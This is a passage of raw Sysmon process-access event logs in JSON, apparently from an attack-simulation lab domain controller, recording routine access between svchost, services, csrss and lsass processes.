{90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1117,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1118,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1119,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.312\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.312","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1120,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.312\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 900\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.312","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"900","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1121,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.312\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 2684\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00104D150200}\r\nTargetProcessId: 2740\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+52f1|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.312","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"2684","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00104D150200}","TargetProcessId":"2740","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|C:\\Windows\\system32\\services.exe+12939|C:\\Windows\\system32\\services.exe+66f4|C:\\Windows\\system32\\services.exe+52f1|C:\\Windows\\system32\\services.exe+d608|C:\\Windows\\system32\\services.exe+20a11|C:\\Windows\\SYSTEM32\\ntdll.dll+2b9ae|C:\\Windows\\SYSTEM32\\ntdll.dll+29bc4|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1122,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.312\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00104D150200}\r\nTargetProcessId: 2740\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.312","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00104D150200}","TargetProcessId":"2740","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1123,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.328\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00104D150200}\r\nTargetProcessId: 2740\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.328","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00104D150200}","TargetProcessId":"2740","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1124,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.328\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nSourceProcessId: 852\r\nSourceThreadId: 1124\r\nSourceImage: C:\\Windows\\system32\\services.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00104D150200}\r\nTargetProcessId: 2740\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.328","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","SourceProcessId":"852","SourceThreadId":"1124","SourceImage":"C:\\Windows\\system32\\services.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00104D150200}","TargetProcessId":"2740","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\services.exe+18ff|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\